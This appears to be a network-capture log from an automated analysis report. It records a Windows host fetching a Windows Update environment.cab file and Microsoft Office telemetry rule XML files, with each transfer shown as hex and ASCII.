2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-07 01:22:57 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7xNGWLB7eDUzHSk&MD=4dvuXYOy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 01:22:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 65cb16f5-fd38-4cb0-9fd5-5d991b93bb08 MS-RequestId: e2f61a06-6d9b-46ee-ba3b-319ceb50f1c8 MS-CV: jDhI1oEM8U6BDxAg.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 01:22:57 GMT Connection: close Content-Length: 30005
2024-10-07 01:22:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-07 01:22:57 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:58 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:58 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b27588a3-a01e-003d-6001-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012258Z-1657d5bbd48vlsxxpe15ac3q7n00000002u0000000005xhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:58 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:58 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:58 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:58 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012258Z-1657d5bbd482krtfgrg72dfbtn00000002n0000000002az8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:58 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:58 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:58 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:58 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c59bb0f9-701e-0097-2d01-17b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012258Z-1657d5bbd48p2j6x2quer0q02800000002w000000000tpu5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:58 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:58 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:58 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012258Z-1657d5bbd48f7nlxc7n5fnfzh000000002gg000000002acd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:58 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:58 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:58 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:58 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012258Z-1657d5bbd4824mj9d6vp65b6n40000000330000000000fve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:58 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" 